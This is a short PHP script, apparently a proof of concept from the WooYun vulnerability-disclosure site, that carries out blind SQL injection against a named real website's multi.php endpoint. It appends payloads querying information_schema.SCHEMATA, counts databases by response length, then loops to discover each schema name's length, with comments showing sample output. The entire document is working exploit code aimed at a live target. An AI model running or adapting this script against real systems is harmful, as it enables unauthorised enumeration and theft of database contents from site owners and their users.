WooYun.org

<?php


//here test for database counts include system database


$url = 'http://ad.goodbaby.com/multi.php?ids=54545';


$parameter = ' or (select count(1) from information_schema.SCHEMATA)=';


$dbcount = 0;


for ($i = 1; $i < 100; $i++)


{


	$ret = file_get_contents($url.urlencode($parameter).$i);


	if (strlen($ret) > 300)


	{


		$dbcount = $i;


		//here output: find database counts: 12


		echo 'find database counts: '.$i,PHP_EOL;


		break;


	}


}





//now we try to output all of databases name


$where = ' where 1 ';


for ($i = 0; $i < $dbcount; $i++)


{


	$dblen = 0;


	for ($j = 1; $j < 50; $j++)


	{


		$parameter = ' or (select length(SCHEMA_NAME) from information_schema.SCHEMATA '.$where.'  LIMIT 1)='.$j;


		//echo $url.($parameter);die;


		$ret = file_get_contents($url.urlencode($parameter));


		if (strlen($ret) > 300)


		{


			$dblen = $j;


			$where .= ' and length(SCHEMA_NAME) <> '.$j;


			echo 'find database '.($i + 1).'  string length : '.$j,' so we try to get database name',PHP_EOL;


			break;


		}


	}


}